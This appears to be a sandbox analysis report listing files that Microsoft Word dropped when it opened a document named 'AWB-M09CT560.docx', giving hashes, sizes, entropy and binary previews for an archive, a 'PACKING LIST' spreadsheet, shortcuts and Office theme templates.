MD5:	53C5F45B22E133B28D4BD3B5A350FDBD
SHA1:	D180CFB1438D27F76E1919DA3E84F307CB83434F
SHA-256:	8AF4C7CAC47D2B9C7ADEADF276EDAE830B4CC5FFE7E765E3C3D7B3FADCB5F273
SHA-512:	46AD3DA58C63CA62FCFC4FAF9A7B5B320F4898A1E84EEF4DE16E0C0843BAFE078982FC9F78C5AC6511740B35382400B5F7AC3AE99BB52E32AD9639437DB481D1
Malicious:	false
Preview:	MSCF.....x......D...............l............x..`?..........\|...D..............M[. .content.inf...!........M[. .Damask.thmx...o.PI..[.............../.TU.jj0..3jCUPU.jF...m.UU.P}.....PU..........w..#....E..].................A.. w.$..@..'g.......6%:..r9..d.M;M+.r.8[d{.s..dh..(P..........!.. ..ne..f.Nc..#..Y..q....KB}..b].@..F.&.t....E.........@&.m......$w......q...:.H....p.p.....?.9x.. .....?...ao....I....................o......g.u..;."....O;....{..(k..._.w/.Z......Jb..P.O?...........?....F....ty..72......! #....v..J......?.....!,.5.7..Em.....is.h.. \.H)i1v..zwp.....P.....x].X{O//..\....Z>z....6...+..a.c...;.K..+...?014..p.w%o^.....]...MguF...`....r.S.......eF..):.dnk#.p{..<..{..Ym...>...H......x.}.hI..M....e......*G.&.?..~.~G6.....+...D..p...._...T....F6.[Cx./Q..Xe.>.;.}>.^..:..SB.X..2.......(A..&j9....\\.......Haf+]Y...$t^Y=........><.w....tL../E...%6.Vr~MI...l.....<.0.I....7.Q8y.f.uu...I.p..O..eYYS.O......9..Qo.......:..........o.............{

C:\Users\user\AppData\Local\Temp\cabFCE8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1750009 bytes, 2 files, at 0x44 +A "content.inf" +A "Slate.thmx", flags 0x4, ID 28969, number 1, extra bytes 20 in head, 72 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1766185
Entropy (8bit):	7.9991290831091115
Encrypted:	true
SSDEEP:	24576:O/gjMj+RP9Q07h9F75a0BXjBccHMVk2Hq2SkGa0QglyZtxmdPP2LcSUtfgfp16Yx:kJ6RP9Q07/X5V7yVF0QgktxAPutUt0zP
MD5:	828F96031F40BF8EBCB5E52AAEEB7E4C
SHA1:	CACC32738A0A66C8FE51A81ED8E27A6F82E69EB2
SHA-256:	640AD075B555D4A2143F909EAFD91F54076F5DDE42A2B11CD897BC564B5D7FF7
SHA-512:	61F6355FF4D984931E79624394CCCA217054AE0F61B9AF1A1EDED5ACCA3D6FEF8940E338C313BE63FC766E6E7161CAFA0C8AE44AD4E0BE26C22FF17E2E6ABAF7
Malicious:	false
Preview:	MSCF............D...............)q..............0?..........{...H..............M.. .content.inf.;.#........M.. .Slate.thmx.p.+..P..[......U..............p..K.!..........K..w..v........=....D$r...B....6 ...X.F0..d..m.s...$$r........m.)6.m3....vXn.l..o...a...V......Ru.:=2M.........T.....4S`EP......\..r,..v...G.P......'._H0]..%_............X.P.,.............H.?.-.H..".......M..&..o....R........<......`...D.H.._.G.Qv..(..U,.9..D...."..T..i.e../.e.."....,S...o.X.....c./..V....Z..o.O..2....{...+... ....0.@J.R.Q.m.....{.....h?u.q.O{...l.d)..Yk`.....#...u.-.m..#CXwrz4..7.>......v.E:.#.oGSKS.TX.Chm.4aQ......avH..{..j+@6[k].....`c..W8..j.v.Zh.]....4......K..#Hzyd..K}.....H\|<H..\(l...+..%Z......~.S:^..d>..1..H%..7N-v.....Wu.*..b^.B.....k0gc.2.{.!...E7.}3.d...{.Ye...&#f6...:2......v..&!..k0d.p.b...,..$.....Y..60...h.N}.r...<[./........{...Es..&.nf.....2.@Fh3.9.G....l.[.C..SD/6.H.K....}..m....M..........gl.P.]..I......5....e.c...V....P...[.=.......O.eq+

C:\Users\user\AppData\Local\Temp\{C6E57552-EE0C-4816-B534-EAA849CA60A3}\{2AB68EE8-23C0-4D48-8EB9-FFAD40C6944A}\4.466364_2401 PACKING LIST.xlsx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	26110
Entropy (8bit):	7.621832725963441
Encrypted:	false
SSDEEP:	384:4X89n8bp+o5bjfTlqveNi/36emvOmHGJMHuMw9fvHZSildVX1ZZ2bm:4X89n64o5bzkv8iCjOm3uv90YVXHwm
MD5:	B9EEC5763BD7CF995AE4CB02F24A7E2B
SHA1:	9C450546C6632262C7BABD5BA1990CD0B30E14D6
SHA-256:	FB55559C6DDD496228CCB56832AAC3B21291872CAD1D4B61C5F4FC4F8F0D1BAA
SHA-512:	D3D1874B7C0984952FE7381E00FA97FDE86CB2476AEBF73FE8347B2DA274160B76BBE98AAF866CBEA5FB4ACB23E9FA04423AA1E7E1DD02EDDED92A4F7D058395
Malicious:	false
Preview:	PK..........!...............[Content_Types].xml ...(....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T.N.0..#.....q..j...# ..`.mb.-....6.B.4..K..wfv...l.......q^.E.^.c}.......7....X.....d...W{lDG...D.A....<..C...kjeTz.Z.......x.Q....-....n...J......L.....Z......!....j0A...]cL..v..:&.....1.r+g...N.g.y}{E....\.Psei.;.....!.....?`...'..A..\:....-.E..d_3..u.......FYn.G...+..:...d......."...m/.C.J`...=.....:LR.Y.\?....h.W+.o:..#........BD.......\=....,l.a.O.a.p<.c..k.l.%._.......PK..........!..U0#....L...

C:\Users\user\AppData\Local\Temp\{C6E57552-EE0C-4816-B534-EAA849CA60A3}\{2AB68EE8-23C0-4D48-8EB9-FFAD40C6944A}\4.466364_2401 PACKING LIST.xlsx:Zone.Identifier

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:gAWY3n:qY3n
MD5:	FBCCF14D504B7B2DBCB5A5BDA75BD93B
SHA1:	D59FC84CDD5217C6CF74785703655F78DA6B582B
SHA-256:	EACD09517CE90D34BA562171D15AC40D302F0E691B439F91BE1B6406E25F5913
SHA-512:	AA1D2B1EA3C9DE3CCADB319D4E3E3276A2F27DD1A5244FE72DE2B6F94083DDDC762480482C5C2E53F803CD9E3973DDEFC68966F974E124307B5043E654443B98
Malicious:	false
Preview:	[ZoneTransfer]..ZoneId=3..

C:\Users\user\AppData\Local\Temp\{C6E57552-EE0C-4816-B534-EAA849CA60A3}\{2AB68EE8-23C0-4D48-8EB9-FFAD40C6944A}\~$4.466364_2401 PACKING LIST.xlsx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:KVC+cAmltV:KVC+cR
MD5:	9C7132B2A8CABF27097749F4D8447635
SHA1:	71D7F78718A7AFC3EAB22ED395321F6CBE2F9899
SHA-256:	7029AE5479F0CD98D892F570A22B2AE8302747DCFF3465B2DE64D974AE815A83
SHA-512:	333AC8A4987CC7DF5981AE81238A77D123996DB2C4C97053E8BD2048A64FDCF33E1245DEE6839358161F6B5EEA6BFD8D2358BC4A9188D786295C22F79E2D635E
Malicious:	false
Preview:	.user ..j.o.n.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO3072.acl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	30
Entropy (8bit):	1.2389205950315936
Encrypted:	false
SSDEEP:	3:fGnh/X:unh/
MD5:	1751167FB618977C19B270538AD5670E
SHA1:	BFB99DC827A724B56ABB5157318687715B706E6C
SHA-256:	85647842105B11424E13A3D75906F66557505975037986843BA775068D2AB26F
SHA-512:	6FBE779D774DF7C0BE294888D4337160862D96DE252BCDE56BAB6405A61704C8F2F7CE6DAD19F7AA5336B3238A02EB530CD20EEA10D52D0956A14D95A7783485
Malicious:	false
Preview:	..............................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\AWB-M09CT560.docx.LNK

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Oct 4 11:02:31 2023, mtime=Wed Oct 30 05:27:22 2024, atime=Wed Oct 30 05:27:09 2024, length=35788, window=hide
Category:	dropped
Size (bytes):	550
Entropy (8bit):	4.749426430727647
Encrypted:	false
SSDEEP:	12:8bdqceBF78QyOjAe8u2JmL78QlqLcPgBmV:8hqP7J5Ae8u2JU7Jl8XBm
MD5:	5678FF772FED46D41075148A480215AC
SHA1:	F21804B38647C952CBF3B755BCA1062A85617635
SHA-256:	6CB189785F1E082F1898638576132E0553ACDD17F54B4B7D737B95D56950E382
SHA-512:	DF3A1A0338C1DEB2DB12B123FBC680975A41CFE405649A3BA0630ACD0466A8D14FF17B1A8E751BECCD40246DB22A04D6BC0472591F912D298028C470C2D23314
Malicious:	false
Preview:	L..................F.... .....D............Sy...........................z.x.2....^Ye3 .AWB-M0~1.DOC..\......DWP`^Ye3..........................._c.A.W.B.-.M.0.9.C.T.5.6.0...d.o.c.x...d.o.c.......[...............-.......Z............F.......C:\Users\user\Desktop\AWB-M09CT560.docx.doc..,.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.A.W.B.-.M.0.9.C.T.5.6.0...d.o.c.x...d.o.c.`.......X.......980108...........hT..CrF.f4... ..T..b...,.......hT..CrF.f4... ..T..b...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Templates.LNK

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Directory, ctime=Wed Oct 30 05:27:11 2024, mtime=Wed Oct 30 05:28:23 2024, atime=Wed Oct 30 05:27:27 2024, length=0, window=hide
Category:	dropped
Size (bytes):	1164
Entropy (8bit):	4.673712247497282
Encrypted:	false
SSDEEP:	24:8OwcGxF8Ek60mF9xuIQAAmuTqTi8gfof3qyFm:8OwtxuLmFq4duTgqgSyF
MD5:	5DC8260F8A4D8780359517D2897B8564
SHA1:	48D002C6173187E2CBAB3EC866049BD0B269A70E
SHA-256:	C5F59D74DEF19B5C058FBEC3A057B4C1E69E124816DF1F5F65D0D3596E2B5AE7
SHA-512:	859F35EB419D3D1989F3671ED10C7F44BB18A9C5D285160B4F1B11274BD90D40C045084AF82C215EE33BF7F248B1D5D40666AC09E309CF3BB3A94C978251850D
Malicious:	false
Preview:	L..................F.........2............o{.*..........................[....P.O. .:i.....+00.../C:\...................x.1.....CW;^..Users.d......OwH^Y\3....................:.....K...U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....P.1.....^Yb3..user.<......CW.^^Yd3..........................]"..j.o.n.e.s.....V.1.....CW.^..AppData.@......CW.^^Y\3...........................%..A.p.p.D.a.t.a.....V.1.....^Yb3..Roaming.@......CW.^^Yb3..........................Q...R.o.a.m.i.n.g.....\.1.....^Yl3..MICROS~1..D......CW.^^Yl3...........................W..M.i.c.r.o.s.o.f.t.....\.1.....^Yn3..TEMPLA~1..D......^Yf3^Yn3..........................k...T.e.m.p.l.a.t.e.s.......a...............-.......`............F.......C:\Users\user\AppData\Roaming\Microsoft\Templates........\.....\.T.e.m.p.l.a.t.e.s...........................>.e.L.:..er.=....`.......X.......980108...........hT..CrF.f4... ...(.....,.......hT..CrF.f4... ...(.....,..................1SPS.XF.L8C....&.m.q............/...S

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Generic INItialization configuration [folders]
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.859218955045256
Encrypted:	false
SSDEEP:	3:M17IoVhIZFSm4jnIoVhIZFSpnbJlv:MyoUF5oUFAv
MD5:	3540C44EAA13B1795568C24CF47D24CB
SHA1:	B45DFAA3233CC05CE28DB37F98B00996467A1C0D
SHA-256:	114AA89DE68F88CC4C2F57128B3F8291AA60357E799C20D21C6DA0E4353950A9
SHA-512:	55D02EE85622C370C41BA63229D47038D6D14682D80D8921C5BB035B18DBE775D105F6679D568979D4A7FB220427918FD740AB3CB921227881A2B4486E31F16D
Malicious:	false
Preview:	[doc]..AWB-M09CT560.docx.LNK=0..[folders]..AWB-M09CT560.docx.LNK=0..Templates.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03090430[[fn=Banded]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	562113
Entropy (8bit):	7.67409707491542
Encrypted:	false
SSDEEP:	12288:/dy5Gtyp/FZ9QqjdxDfSp424XeavSktiAVE0:/dizp1ndpqpMZnV
MD5:	4A1657A3872F9A77EC257F41B8F56B3D
SHA1:	4DDEA85C649A2C1408B5B08A15DEF49BAA608A0B
SHA-256:	C17103ADE455094E17AC182AD4B4B6A8C942FD3ACB381F9A5E34E3F8B416AE60
SHA-512:	7A2932639E06D79A5CE1D3C71091890D9E329CA60251E16AE4095E4A06C6428B4F86B7FFFA097BF3EEFA064370A4D51CA3DF8C89EAFA3B1F45384759DEC72922
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03090434[[fn=Wood Type]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1649585
Entropy (8bit):	7.875240099125746
Encrypted:	false
SSDEEP:	24576:L368X6z95zf5BbQ6U79dYy2HiTIxRboyM/LZTl5KnCc:r68kb7UTYxGIxmnp65
MD5:	35200E94CEB3BB7A8B34B4E93E039023
SHA1:	5BB55EDAA4CDF9D805E36C36FB092E451BDDB74D
SHA-256:	6CE04E8827ABAEA9B292048C5F84D824DE3CEFDB493101C2DB207BD4475AF1FD
SHA-512:	ED80CEE7C22D10664076BA7558A79485AA39BE80582CEC9A222621764DAE5EFA70F648F8E8C5C83B6FE31C2A9A933C814929782A964A47157505F4AE79A3E2F9
Malicious:	false
Preview:	PK..........1A..u._....P......[Content_Types].xml..Ms.@.....!...=.7....;a.h.&Y..l..H~..`;...d..g/..e..,M..C...5...#g/."L..;...#. ]..f...w../._.2Y8..X.[..7._.[...K3..#.4......D.]l.?...~.&J&....p..wr-v.r.?...i.d.:o....Z.a\|._....\|.d...A....A".0.J......nz....#.s.m.......(.]........~..XC..J......+.\|...(b}...K!._.D....uN....u..U..b=.^..[...f...f.,...eo..z.8.mz....."..D..SU.}ENp.k.e}.O.N....:^....5.d.9Y.N..5.d.q.^s..}R...._E..D...o..o...o...f.6;s.Z]...Uk6d.j..MW....5[C].f#...l;u.M..Z.../iM\|...b...S.....0.zN.... ...>..>..>..>..>..>..>........e...,..7...F(L.....>.ku...i...i...i...i...i...i...i........yi.....G...1.....j...r.Z]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o\|^Z....Q}.;.o...9.Z..\.V...............................jZ......k.pT...0.zN.... ...>..>..>..>..>..>..>........e...,..7...f(L.....>.ku...i...i...i...i...i...i...i........yi.......n.....{.._f...0...PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457444[[fn=Basis]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	558035
Entropy (8bit):	7.696653383430889
Encrypted:	false
SSDEEP:	12288:DQ/oYjRRRRRRRRYcdY/5ASWYqBMp8xsGGEOzI7vQQwOyP:DQ/nRRRRRRRRxY/5JWYZ3GGbI8YA
MD5:	3B5E44DDC6AE612E0346C58C2A5390E3
SHA1:	23BCF3FCB61F80C91D2CFFD8221394B1CB359C87
SHA-256:	9ED9AD4EB45E664800A4876101CBEE65C232EF478B6DE502A330D7C89C9AE8E2
SHA-512:	2E63419F272C6E411CA81945E85E08A6E3230A2F601C4D28D6312DB5C31321F94FAFA768B16BC377AE37B154C6869CA387005693A79C5AB1AC45ED73BCCC6479
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457464[[fn=Dividend]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	570901
Entropy (8bit):	7.674434888248144
Encrypted:	false
SSDEEP:	6144:D2tTXiO/3GH5SkPQVAqWnGrkFxvay910UUTWZJarUv9TA0g8:kX32H+VWgkFxSgGTmarUv9T
MD5:	D676DE8877ACEB43EF0ED570A2B30F0E
SHA1:	6C8922697105CEC7894966C9C5553BEB64744717
SHA-256:	DF012D101DE808F6CD872DFBB619B16732C23CF4ABC64149B6C3CE49E9EFDA01
SHA-512:	F40BADA680EA5CA508947290BA73901D78DE79EAA10D01EAEF975B80612D60E75662BDA542E7F71C2BBA5CA9BA46ECAFE208FD6E40C1F929BB5E407B10E89FBD
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457475[[fn=Frame]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	523048
Entropy (8bit):	7.715248170753013
Encrypted:	false
SSDEEP:	6144:WfmDdN6Zfv8q5rnM6vZ02PtMZRkfW5ipbnMHxVcsOWrCMxy0sD/mcKb4rYEY:xDdQXBrMi2YtggW5ObnMH1brJpUmBU0N
MD5:	C276F590BB846309A5E30ADC35C502AD
SHA1:	CA6D9D6902475F0BE500B12B7204DD1864E7DD02
SHA-256:	782996D93DEBD2AF9B91E7F529767A8CE84ACCC36CD62F24EBB5117228B98F58
SHA-512:	B85165C769DFE037502E125A04CFACDA7F7CC36184B8D0A54C1F9773666FFCC43A1B13373093F97B380871571788D532DEEA352E8D418E12FD7AAD6ADB75A150
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457485[[fn=Mesh]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3078052
Entropy (8bit):	7.954129852655753
Encrypted:	false
SSDEEP:	49152:bSEjlpY8skyFHuj2yY0ciM9U2NCVBB4YFzYFw7IaJE2VRK+Xn9DOOe9pp9N9Hu:bfp5sksA3cimUVxV05aJE2fKaDOXdN9O
MD5:	CDF98D6B111CF35576343B962EA5EEC6
SHA1:	D481A70EC9835B82BD6E54316BF27FAD05F13A1C
SHA-256:	E3F108DDB3B8581A7A2290DD1E220957E357A802ECA5B3087C95ED13AD93A734
SHA-512:	95C352869D08C0FE903B15311622003CB4635DE8F3A624C402C869F1715316BE2D8D9C0AB58548A84BBB32757E5A1F244B1014120543581FDEA7D7D9D502EF9C
Malicious:	false
Preview:	PK..........1AS'......ip......[Content_Types].xml..n.@.._......8ie'......}.......(y...H}......3Fi..%2.v?..3..._...d=..E.g.....7.i.-.t5.6......}}.m9r.......m...ML.g.M.eV$.r...M..l0...A...M..j;.w={o.f..F....i..v......5..d;..D.ySa...M&..qdw>.O.{h...\|w..5.]..'.CS<.:8C}.g.\|E.../..>..].Tnml..I.......r.Gv.E....7.;.E......4/l.....6.K.C?1qz.O.v_..r......\c.c.>..lS........X.N.3N.sN..N.)'.%'..'..N.pL.E...T.!..CR....Ie..k.o..M..w.B.0}..3....v..+....,.q..pz.......v{.;....s3.\|..V..ZZ......0.[.....x.....!.!~.8.e..n..&.}p....s.i.. ..[]...q.r....~..+.A\...q............e.-)h9..."Z.>...5-C..`..g.}........r.A.+..\...r.>.... .W.\...re?..%.-/hiA..ZR.r.W.D.\}.EK..kZ.>......5..9.&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^h....L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i..`..G..j..).&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^j..K.L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457491[[fn=Metropolitan]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	777647
Entropy (8bit):	7.689662652914981
Encrypted:	false
SSDEEP:	6144:B04bNOJMngI856k0wwOGXMaXTLaTDmfBaN2Tx9iSUk1PdSnc0lnDlcGMcEFYYYYt:xbY6ngI46Aw5dmyYYYYYYYYY7p8d
MD5:	B30D2EF0FC261AECE90B62E9C5597379
SHA1:	4893C5B9BE04ECBB19EE45FFCE33CA56C7894FE3
SHA-256:	BB170D6DE4EE8466F56C93DC26E47EE8A229B9C4842EA8DD0D9CCC71BC8E2976
SHA-512:	2E728408C20C3C23C84A1C22DB28F0943AAA960B4436F8C77570448D5BEA9B8D53D95F7562883FA4F9B282DFE2FD07251EEEFDE5481E49F99B8FEDB66AAAAB68
Malicious:	false
Preview:	PK.........V'B.._<....-.......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.~n..Ofu.-..K.e....{..A.~.8.#D..)o.7..........:2........=......f...u....[..}...u.6b...xz.[...G..\|#...$....)J./.......7.............oQ..]^.M........wy}7a.....&l................w.......l._...l..?.A..........r..9.\|.8.........{w...........n...]^.M........wy}7a.....&l.................`..z..`.....2.o...wx}.....>..c.M..Arr#.....nD..[.....w......n...]^.M........wy}7a.....&l........w........... ..Fp....w_Q....g..tL.i.?H.o...]^..........n...]^.M........wy}7a.....&l.................`..z..`

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457496[[fn=Parallax]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	924687
Entropy (8bit):	7.824849396154325
Encrypted:	false
SSDEEP:	12288:lsadD3eLxI8XSh4yDwFw8oWR+6dmw2ZpQDKpazILv7Jzny/ApcWqyOpEZULn:qLxI8XSh4yUF/oWR+mLKpYIr7l3ZQ7n
MD5:	97EEC245165F2296139EF8D4D43BBB66
SHA1:	0D91B68CCB6063EB342CFCED4F21A1CE4115C209
SHA-256:	3C5CF7BDB27592791ADF4E7C5A09DDE4658E10ED8F47845064DB1153BE69487C
SHA-512:	8594C49CAB6FF8385B1D6E174431DAFB0E947A8D7D3F200E622AE8260C793906E17AA3E6550D4775573858EA1243CCBF7132973CD1CF7A72C3587B9691535FF8
Malicious:	false
Preview:	PK..........1AS'......ip......[Content_Types].xml..n.@.._......8ie'......}.......(y...H}......3Fi..%2.v?..3..._...d=..E.g.....7.i.-.t5.6......}}.m9r.......m...ML.g.M.eV$.r...M..l0...A...M..j;.w={o.f..F....i..v......5..d;..D.ySa...M&..qdw>.O.{h...\|w..5.]..'.CS<.:8C}.g.\|E.../..>..].Tnml..I.......r.Gv.E....7.;.E......4/l.....6.K.C?1qz.O.v_..r......\c.c.>..lS........X.N.3N.sN..N.)'.%'..'..N.pL.E...T.!..CR....Ie..k.o..M..w.B.0}..3....v..+....,.q..pz.......v{.;....s3.\|..V..ZZ......0.[.....x.....!.!~.8.e..n..&.}p....s.i.. ..[]...q.r....~..+.A\...q............e.-)h9..."Z.>...5-C..`..g.}........r.A.+..\...r.>.... .W.\...re?..%.-/hiA..ZR.r.W.D.\}.EK..kZ.>......5..9.&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^h....L...H...!...r.>... 